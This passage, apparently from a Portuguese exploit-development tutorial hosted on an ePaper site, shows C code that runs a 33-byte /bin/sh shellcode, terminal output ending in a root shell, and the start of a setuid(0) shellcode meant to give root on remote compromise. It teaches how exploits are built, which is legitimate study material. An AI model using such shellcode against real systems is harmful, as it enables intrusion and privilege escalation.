Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
* Criamos um ponteiro para uma função do tipo long. */<br />
long (*executa) ();<br />
/* Apontamos a função para o shellcode. */<br />
executa = shellcode;<br />
/* E aqui acontece a mágica! :) */<br />
executa();<br />
}<br />
shellcode/hexash.c<br />
root@motdlabs:~/IP_FIX/shellcode# gcc -o hexash hexash.c<br />
hexash.c: In function `main':<br />
hexash.c:36: warning: assignment from incompatible pointer type<br />
root@motdlabs:~/IP_FIX/shellcode# ./hexash<br />
Tamanho do Shellcode: 33 bytes.<br />
sh-2.05b#<br />
w00w00!!! Um shellcode /bin/sh de 33 bytes. Isso é incrível pra quem<br />
está acostumado com o tamanho do Aleph1 (45 bytes), mas não tem<br />
nenhuma técnica desconhecida.<br />
Que tal incrementarmos um pouquinho? É mais que óbvio que usaremos<br />
essa shell para conseguir acesso remoto através de alguma<br />
vulnerabilidade. E que tal assim que cairmos, termos permissões root<br />
(uid=0)??? Sim! Isso é possível, e é mais fácil do que você imagina.<br />
Vamos ver.:<br />
shellcode/csetuid.c<br />
/*<br />
* Protótipo de shellcode em C.<br />
* Seta uid atual para 0.<br />
* by IP_FIX .<br />
* MotdLabs .<br />
* Compilação: # gcc -o csetuid csetuid.c<br />
*/<br />
#include <br />
main() {<br />
setuid(0);<br />
}<br />
shellcode/csetuid.c<br />
root@motdlabs:~/IP_FIX/shellcode# gcc -o csetuid csetuid.c<br />
root@motdlabs:~/IP_FIX/shellcode# ./csetuid<br />
root@motdlabs:~/IP_FIX/shellcode#<br />
Ok, agora vamos ver como funciona e criá-lo em ASM:<br />
root@motdlabs:~/IP_FIX/shellcode# man setuid<br />
int setuid(uid_t uid);<br />
79